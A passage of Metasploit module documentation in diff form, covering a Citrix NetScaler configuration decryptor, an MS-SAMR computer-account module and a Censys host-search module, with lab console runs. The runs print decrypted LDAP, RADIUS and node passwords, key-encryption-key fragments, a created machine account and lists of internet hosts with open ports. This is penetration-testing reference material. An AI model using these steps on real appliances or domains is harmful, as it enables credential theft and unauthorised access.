any secrets that use KEK encryption. An unencrypted NetScaler backup archive will contain all KEK
|
||||
fragments currently defined on the appliance as well as the current `ns.conf` file.
|
||||
|
||||
### Running the Module
|
||||
|
||||
Example run against config file without KEK from NetScaler VPX running NS11.0 Build 62.10.nc:
|
||||
```
|
||||
msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf.NS11.0-62.10.conf
|
||||
ns_conf => /tmp/ns.conf.NS11.0-62.10.conf
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
|
||||
|
||||
[*] Config line:
|
||||
add ssl certKey netscaler_cesium137_io -cert netscaler_cesium137_io.pem -key netscaler_cesium137_io.key -passcrypt "VbuAvo9nq18Zap0joBBv1a1Chm5BOerJ3GhYWU+Wbv0=" -expiryMonitor DISABLED
|
||||
[!] Not decrypting passcrypt entry:
|
||||
[!] Ciphertext: VbuAvo9nq18Zap0joBBv1a1Chm5BOerJ3GhYWU+Wbv0=
|
||||
[*] Config line:
|
||||
set ns encryptionParams -method AES256 -keyValue 7654526a2f3ceffd877b286a8acece43da700d06133dc985f7ebdeb076135bcb755472e04f5d92aba9f07334eb8e936a58782ce76bb3f6d6e44adf727e8e88d602b8bdae1817d26203fe281a8429574d -encrypted -encryptmethod ENCMTHD_3
|
||||
[+] Plaintext: AAAAAAXyju437Ecnb/iQpa55uUvOskx7S5hCq5dB4kMq+Lcx6g==
|
||||
[*] Config line:
|
||||
add authentication radiusAction UTIL1 -serverIP 10.100.10.13 -serverPort 1812 -radKey f8e4f532e9d4e6bebab169b3be9e77b5c851466b7760c469bd64a15d2e8d3c602025c41372094d06e207789d58b6acb7 -encrypted -encryptmethod ENCMTHD_3
|
||||
[+] Plaintext: hbZaADYDUmdHv7AhHsAb6eCde2M82m0
|
||||
[*] Config line:
|
||||
add authentication ldapAction LDAP -serverName ldap.cesium137.io -serverPort 636 -ldapBase "DC=chainheart,DC=com" -ldapBindDn wiz@cesium137.io -ldapBindDnPassword f5dc75680b925dbd3c0a8154c8fee056bfe77ac774797de3c0867d368bd09c2cdd872a36e15a1f07abf773740e2c8a12 -encrypted -encryptmethod ENCMTHD_3 -ldapLoginName sAMAccountName -groupAttrName memberOf -secType SSL -ldapHostname ldap.cesium137.io
|
||||
[+] User: wiz@cesium137.io
|
||||
[+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm
|
||||
[*] Config line:
|
||||
set ns rpcNode 10.100.10.11 -password 9ec84444b10941dc4222f93b29a75f0aa237ffdcc73a81355bf5d1cf3d80058daaad7ca58e488e54bc3ff3eea8ffd9eb -encrypted -encryptmethod ENCMTHD_3 -srcIP 10.100.10.11
|
||||
[+] Plaintext: 447a325517739063bbaa414ecf1d9c3
|
||||
[*] Config line:
|
||||
set ns rpcNode 10.100.10.12 -password dd5c0c4952509e2fcfaeb238dfc361b79a844df09254087920ee0cf4dc447161bde8491d8a39ded0fa2526cc46e6a00f -encrypted -encryptmethod ENCMTHD_3 -srcIP 10.100.10.11
|
||||
[+] Plaintext: 447a325517739063bbaa414ecf1d9c3
|
||||
[*] Config line:
|
||||
add lb monitor mon_ldaps LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password e209865546c3d2e8462e3e7a962252eb6d9e26374163c8d902fc3535cb12638c514765dcea4792eb1e3e6b5e1c1c4cef -encrypted -encryptmethod ENCMTHD_3 -LRTM DISABLED -secure YES -baseDN "DC=chainheart,DC=com" -bindDN wiz@cesium137.io -filter CN=builtin
|
||||
[+] User: wiz@cesium137.io
|
||||
[+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm
|
||||
[*] Config line:
|
||||
add lb monitor mon_ldap LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password 4ae7bec92e25d985df315e543b846b2c30346840d8e945f5073832c3e479d60eee581f67d671759ae555210529eaec8d -encrypted -encryptmethod ENCMTHD_3 -LRTM DISABLED -destPort 636 -secure YES -baseDN "DC=chainheart,DC=com" -bindDN wiz@cesium137.io -filter CN=builtin
|
||||
[+] User: wiz@cesium137.io
|
||||
[+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) >
|
||||
```
|
||||
|
||||
Example run against config file using KEK from NetScaler VPX running NS13.0 Build 85.15.nc:
|
||||
|
||||
```
|
||||
msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf
|
||||
ns_conf => /tmp/ns.conf
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f1 /tmp/F1.key
|
||||
ns_kek_f1 => /tmp/F1.key
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f2 /tmp/F2.key
|
||||
ns_kek_f2 => /tmp/F2.key
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
|
||||
|
||||
[*] Building NetScaler KEK from key fragments ...
|
||||
[+] NS KEK F1
|
||||
[+] HEX: dd2588bb3cb20dd643216c33489776c78e8c56f13b1301e0984dc80564eea49e
|
||||
[+] NS KEK F2
|
||||
[+] HEX: 45f9e6780a1dc40b6fe75bedf2f6dbb9a86e4315d07313014fe2381c52e44d8f
|
||||
[+] Assembled NS KEK AES key
|
||||
[+] HEX: 54f202b9a94649fd9eaa3f13eab514a5a267f460db0a2393f8b25f321a7d79e0
|
||||
|
||||
[*] Config line:
|
||||
add ssl certKey netscaler_cesium137_io -cert netscaler_cesium137_io.pem -key netscaler_cesium137_io.key 30f39257d8aacc737182568184e0d535002d90a7aba3454c1e8766a958d3a4a720e485c498adc681f0e7559ff633f932 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor DISABLED
|
||||
[+] Plaintext: zgkEUD86rUv76coT0DkIBj1xlp5qEzH
|
||||
[*] Config line:
|
||||
add ssl certKey ldap_cesium137_io -cert ldap_cesium137_io.pem -key ldap_cesium137_io.key d7902778370c616480ef781c5b3922ef31bd90e75dd3aecfa0fa8a5bafc4fa16b20ed2f7a07970c3f4d8ba201a3b9b72 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor ENABLED -notificationPeriod 90
|
||||
[+] Plaintext: YaqoRLtSnnMPgnWyhAedYv2RO1aVtx8
|
||||
[*] Config line:
|
||||
add ssl certKey mail_cesium137_io -cert mail_cesium137_io-g3.pem -key mail_cesium137_io-g3.key 0e5ca2011772a9943c8f4281668b7236a8dfb97da290487d1953fa5ef768272f33d20122b055878729c75c29efaa3291 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor DISABLED
|
||||
[+] Plaintext: TBkrkfnP4QOWIT0FX8QCLl2GkNrnM
|
||||
[*] Config line:
|
||||
add ssl certKey auth_cesium137_io -cert auth_cesium137_io-g3.pem -key auth_cesium137_io-g3.key d574cca92065da27309ce87a423ac82e0c1571cd4c6df59a725f7eabee97d40136a250152506cb15962e34c90f1dc25c -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor DISABLED
|
||||
[+] Plaintext: flEkB3SW4YTTi9HRNnffmvJLSgJhsz5
|
||||
[*] Config line:
|
||||
set ns encryptionParams -method AES256 -keyValue ec5d48485c6871d1d4a2b01f9126946c53aa49eae721c8114ba7a34a1b1f8eabd443a9d641bbf5ef67f2b0237c481673587846db5378f72f9025f0762f8f9cbeebf4a16aaa2782d5c6ecd90c48a1c30d -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35
|
||||
[+] Plaintext: AAAAAAXyju437Ecnb/iQpa55uUvOskx7S5hCq5dB4kMq+Lcx6g==
|
||||
[*] Config line:
|
||||
add authentication radiusAction APP01_DUO -serverIP 10.100.10.13 -serverPort 11812 -authTimeout 60 -radKey 535587632ffe91f2559fcf5902c7e4bf24961ee2e7f6285c03c87c2e65165fbc -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -accounting ON
|
||||
[+] Plaintext: IAmSam!
|
||||
[*] Config line:
|
||||
add authentication radiusAction APP01_DUO_CITRIXRECEIVER -serverIP 10.100.10.13 -serverPort 21812 -authTimeout 60 -radKey 6644f481004ac7dee5a05b5a8dc3d9d9ae8c76f5fe82e0430b43acd7fb5afe9c -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -accounting ON
|
||||
[+] Plaintext: IAmSam!
|
||||
[*] Config line:
|
||||
add authentication ldapAction AD_DUA2FAUSERS -serverName ldap.cesium137.io -serverPort 636 -authTimeout 60 -ldapBase "DC=cesium137,DC=io" -ldapBindDn ldap@cesium137.io -ldapBindDnPassword 7fbbf2ef9665641264406c17673c0cdb5774b76454f3ac8c7bb067dd0d2228c5 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -ldapLoginName sAMAccountName -searchFilter "&(objectCategory=user)(memberOf=CN=2FA-OWA,CN=Users,DC=cesium137,DC=io)" -groupAttrName memberOf -subAttributeName cn -secType SSL -passwdChange ENABLED -nestedGroupExtraction ON -groupNameIdentifier sAMAccountName -groupSearchAttribute memberOf -groupSearchSubAttribute CN
|
||||
[+] User: ldap@cesium137.io
|
||||
[+] Pass: Gr33n3gg$
|
||||
[*] Config line:
|
||||
set ns rpcNode 192.168.10.14 -password 2634fa338c457cb32fdf245873874a9b8fcd7128f6534641f49ea650e9f0974b -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -srcIP 192.168.10.14
|
||||
[+] Plaintext: SamIAm!
|
||||
[*] Config line:
|
||||
set ns rpcNode 192.168.10.15 -password 6955e686fc5dd3beee5013dad0e0fa6510a56029b52cc7d7ed15082a60ec6ce4 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -srcIP 192.168.10.14
|
||||
[+] Plaintext: SamIAm!
|
||||
[*] Config line:
|
||||
add lb monitor mon_ldaps LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password cc1f6bb054f5d63d5eb871fdd36ff573f3343c1e0238965682460c6f084d1e14-encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -secure YES -baseDN "DC=cesium137,DC=io" -bindDN ldap@cesium137.io -filter CN=builtin -devno 13862
|
||||
[+] User: ldap@cesium137.io
|
||||
[+] Pass: Gr33n3gg$
|
||||
[*] Config line:
|
||||
add lb monitor mon_ldap LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password 5c35e0aa5c3d999e9ff10de1fa32910f9ac28b1ee8824c2301ac964e1f5f987e-encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -destPort 636 -secure YES -baseDN "DC=cesium137,DC=io" -bindDN ldap@cesium137.io -filter CN=builtin -devno 13863
|
||||
[+] User: ldap@cesium137.io
|
||||
[+] Pass: Gr33n3gg$
|
||||
[*] Config line:
|
||||
add lb monitor mon-radius RADIUS -respCode 2 -userName ldap -password fda3a1c5990558d4bfae059f27191f4c91a2dfa826d7318db287e109f5da39f9 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -resptimeout 4 -destPort 1812 -devno 13864
|
||||
[+] User: ldap
|
||||
[+] Pass: Gr33n3gg$
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) >
|
||||
```
|
||||
@@ -0,0 +1,100 @@
|
||||
## Vulnerable Application
|
||||
Add, lookup and delete computer accounts via MS-SAMR. By default standard active directory users can add up to 10 new
|
||||
computers to the domain. Administrative privileges however are required to delete the created accounts.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. From msfconsole
|
||||
2. Do: `use auxiliary/admin/dcerpc/samr_computer`
|
||||
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
|
||||
1. Set the `COMPUTER_NAME` option for `DELETE_COMPUTER` and `LOOKUP_COMPUTER` actions
|
||||
4. Run the module and see that a new machine account was added
|
||||
|
||||
## Options
|
||||
|
||||
### SMBDomain
|
||||
|
||||
The Windows domain to use for authentication. The domain will automatically be identified if this option is left in its
|
||||
default value.
|
||||
|
||||
### COMPUTER_NAME
|
||||
|
||||
The computer name to add, lookup or delete. This option is optional for the `ADD_COMPUTER` action, and required for the
|
||||
`LOOKUP_COMPUTER` and `DELETE_COMPUTER` actions.
|
||||
|
||||
### COMPUTER_PASSWORD
|
||||
|
||||
The password for the new computer. This option is only used for the `ADD_COMPUTER` action. If left blank, a random value
|
||||
will be generated.
|
||||
|
||||
## Actions
|
||||
|
||||
### ADD_COMPUTER
|
||||
|
||||
Add a new computer to the domain. This action will fail with status `STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED` if the
|
||||
user has exceeded the maximum number of computer accounts that they are allowed to create.
|
||||
|
||||
After the computer account is created, the password will be set for it. If `COMPUTER_NAME` is set, that value will be
|
||||
used and the module will fail if the selected name is already in use. If `COMPUTER_NAME` is *not* set, a random value
|
||||
will be used.
|
||||
|
||||
### DELETE_COMPUTER
|
||||
|
||||
Delete a computer from the domain. This action requires that the `COMPUTER_NAME` option be set.
|
||||
|
||||
### LOOKUP_COMPUTER
|
||||
|
||||
Lookup a computer in the domain. This action verifies that the specified computer exists, and looks up its security ID
|
||||
(SID), which includes the relative ID (RID) as the last component.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2019
|
||||
|
||||
First, a new computer account is created and its details are logged to the database.
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > set RHOSTS 192.168.159.96
|
||||
RHOSTS => 192.168.159.96
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBUser aliddle
|
||||
SMBUser => aliddle
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBPass Password1
|
||||
SMBPass => Password1
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > show options
|
||||
|
||||
Module options (auxiliary/admin/dcerpc/samr_computer):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COMPUTER_NAME no The computer name
|
||||
COMPUTER_PASSWORD no The password for the new computer
|
||||
RHOSTS 192.168.159.96 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain . no The Windows domain to use for authentication
|
||||
SMBPass Password1 no The password for the specified username
|
||||
SMBUser aliddle no The username to authenticate as
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
ADD_COMPUTER Add a computer account
|
||||
|
||||
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > run
|
||||
[*] Running module against 192.168.159.96
|
||||
|
||||
[*] 192.168.159.96:445 - Using automatically identified domain: MSFLAB
|
||||
[+] 192.168.159.96:445 - Successfully created MSFLAB\DESKTOP-2X8F54QG$ with password MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
192.168.159.96 192.168.159.96 445/tcp (smb) DESKTOP-2X8F54QG$ MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY MSFLAB Password
|
||||
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) >
|
||||
```
|
||||
@@ -1,212 +1,131 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The module use the Censys REST API to access the same data accessible through web interface.
|
||||
The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site.
|
||||
The module uses the Censys REST API to access the same data accessible through
|
||||
the web interface. The search endpoint allows queries using the Censys Search
|
||||
Language against the Hosts dataset. Setting the CERTIFICATES option will also
|
||||
retrieve the certificate details for each relevant service by querying the
|
||||
Certificates dataset.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/gather/censys_search`
|
||||
2. Do: `set CENSYS_UID XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX` (length: 32 (without dashes))
|
||||
3. Do: `set CENSYS_SECRET XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX` (length: 32)
|
||||
4. Do: `set CENSYS_SEARCHTYPE certificates`
|
||||
5: Do: `set CENSYS_DORK query`
|
||||
6: Do: `run`
|
||||
1. Do: `set CENSYS_UID XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX` (length: 32 (without dashes))
|
||||
1. Do: `set CENSYS_SECRET XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX` (length: 32)
|
||||
1. Do: `set CERTIFICATES true` (to get certificates details - optional)
|
||||
1. Do: `set QUERY <query>`
|
||||
1. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Certificates Search
|
||||
A single keyword or a domain name can be used. For advanced searches, the Censys Search Language can also be used.
|
||||
Here, the following query is used to get the hosts running FTP or Telnet in Germany:
|
||||
```
|
||||
location.country_code: DE and services.service_name: {"FTP", "Telnet"}
|
||||
```
|
||||
|
||||
### Without certificates details
|
||||
|
||||
```
|
||||
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
|
||||
CENSYS_DORK => rapid7
|
||||
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE certificates
|
||||
CENSYS_SEARCHTYPE => certificates
|
||||
msf6 auxiliary(gather/censys_search) > run verbose=true QUERY="location.country_code: DE and services.service_name: {"FTP", "Telnet"}" CENSYS_UID=<redacted> CENSYS_SECRET=<redacted>
|
||||
|
||||
[+] 2.19.184.189 - 21/FTP,22/SSH,80/HTTP,443/HTTP
|
||||
[+] 2.19.184.214 - 21/FTP
|
||||
[+] 2.19.184.216 - 21/FTP
|
||||
[+] 2.23.14.108 - 21/FTP
|
||||
[+] 2.23.14.163 - 21/FTP,449/UNKNOWN,515/UNKNOWN,4101/UNKNOWN,4222/UNKNOWN,44100/UNKNOWN,44104/UNKNOWN,44117/UNKNOWN,44133/UNKNOWN,44156/UNKNOWN,44161/UNKNOWN,44162/UNKNOWN,44170/UNKNOWN,44174/UNKNOWN
|
||||
[+] 2.23.14.195 - 21/FTP,45108/UNKNOWN,45110/UNKNOWN,45111/UNKNOWN,45117/UNKNOWN,45149/UNKNOWN,45150/UNKNOWN,45164/UNKNOWN
|
||||
[+] 2.23.14.199 - 21/FTP
|
||||
[+] 2.23.14.201 - 21/FTP,47106/UNKNOWN,47113/UNKNOWN,47150/UNKNOWN
|
||||
[+] 2.23.14.209 - 21/FTP,49100/UNKNOWN,49121/UNKNOWN,49143/UNKNOWN,49152/UNKNOWN
|
||||
[+] 2.23.14.212 - 21/FTP
|
||||
[+] 2.23.14.218 - 21/FTP
|
||||
[+] 2.23.14.235 - 21/FTP
|
||||
[+] 2.23.14.243 - 21/FTP
|
||||
[+] 2.23.15.71 - 21/FTP,22/SSH,80/HTTP,443/HTTP
|
||||
[+] 2.23.15.238 - 21/FTP,80/HTTP,443/HTTP
|
||||
[+] 2.56.11.154 - 21/FTP,22/SSH,25/SMTP,53/DNS,80/HTTP,110/POP3,143/IMAP,443/HTTP,465/SMTP,587/SMTP,993/IMAP,2077/HTTP,2078/HTTP,2079/HTTP,2080/HTTP,2082/HTTP,2083/HTTP,2086/HTTP,2087/HTTP,2095/HTTP,2096/HTTP,3306/MYSQL
|
||||
[+] 2.56.11.222 - 21/FTP,22/SSH,80/HTTP,111/PORTMAP,137/NETBIOS,443/HTTP,445/SMB
|
||||
[+] 2.56.77.123 - 21/FTP,22/SSH,80/HTTP
|
||||
[+] 2.56.77.162 - 21/FTP,25/SMTP,80/HTTP,443/HTTP,465/SMTP,587/SMTP,993/IMAP,5022/SSH,8443/HTTP,50080/HTTP
|
||||
[+] 2.56.77.185 - 21/FTP,25/SMTP,587/SMTP,1024/HTTP,1723/PPTP,4444/UNKNOWN
|
||||
[+] 2.56.77.186 - 21/FTP,25/SMTP,80/HTTP,443/HTTP,465/SMTP,587/SMTP,1024/HTTP,1723/PPTP,4444/UNKNOWN,5060/SIP
|
||||
[+] 2.56.77.189 - 21/FTP,25/SMTP,80/HTTP,443/HTTP,465/SMTP,587/SMTP,1024/HTTP,1723/PPTP,4444/HTTP,8080/HTTP,50080/HTTP
|
||||
...
|
||||
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
|
||||
[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
|
||||
[+] 208.118.237.41 - CN=NeXpose Security Console, O=Rapid7
|
||||
```
|
||||
|
||||
### With certificates details
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/censys_search) > run verbose=true QUERY="location.country_code: DE and services.service_name: {"FTP", "Telnet"}" CENSYS_UID=<redacted> CENSYS_SECRET=<redacted> CERTIFICATES=true
|
||||
|
||||
[+] 2.19.184.189 - 21/FTP,22/SSH,80/HTTP,443/HTTP
|
||||
[*] Certificate for 21/FTP: C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification Authority - L1K)
|
||||
[*] Certificate for 443/HTTP: C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification Authority - L1K)
|
||||
[+] 2.19.184.214 - 21/FTP
|
||||
[+] 2.19.184.216 - 21/FTP
|
||||
[+] 2.23.14.108 - 21/FTP
|
||||
[+] 2.23.14.163 - 21/FTP,449/UNKNOWN,515/UNKNOWN,4101/UNKNOWN,4222/UNKNOWN,44100/UNKNOWN,44104/UNKNOWN,44117/UNKNOWN,44133/UNKNOWN,44156/UNKNOWN,44161/UNKNOWN,44162/UNKNOWN,44170/UNKNOWN,44174/UNKNOWN
|
||||
[+] 2.23.14.195 - 21/FTP,45108/UNKNOWN,45110/UNKNOWN,45111/UNKNOWN,45117/UNKNOWN,45149/UNKNOWN,45150/UNKNOWN,45164/UNKNOWN
|
||||
[+] 2.23.14.199 - 21/FTP
|
||||
[+] 2.23.14.201 - 21/FTP,47106/UNKNOWN,47113/UNKNOWN,47150/UNKNOWN
|
||||
[+] 2.23.14.209 - 21/FTP,49100/UNKNOWN,49121/UNKNOWN,49143/UNKNOWN,49152/UNKNOWN
|
||||
[+] 2.23.14.212 - 21/FTP
|
||||
[*] Certificate for 21/FTP: C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1)
|
||||
[+] 2.23.14.218 - 21/FTP
|
||||
[*] Certificate for 21/FTP: C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1)
|
||||
[+] 2.23.14.235 - 21/FTP
|
||||
[+] 2.23.14.243 - 21/FTP
|
||||
...
|
||||
|
||||
```
|
||||
|
||||
### IPv4 Search
|
||||
msf6 auxiliary(gather/censys_search) > services
|
||||
Services
|
||||
========
|
||||
|
||||
```
|
||||
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
|
||||
CENSYS_DORK => rapid7
|
||||
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE ipv4
|
||||
CENSYS_SEARCHTYPE => ipv4
|
||||
[*] 197.117.5.36 - 443/https
|
||||
[*] 208.118.237.81 - 443/https
|
||||
[*] 206.19.237.19 - 443/https
|
||||
[*] 54.214.49.70 - 80/http,443/https
|
||||
[*] 208.118.237.241 - 443/https
|
||||
[*] 162.220.246.141 - 443/https,22/ssh,80/http
|
||||
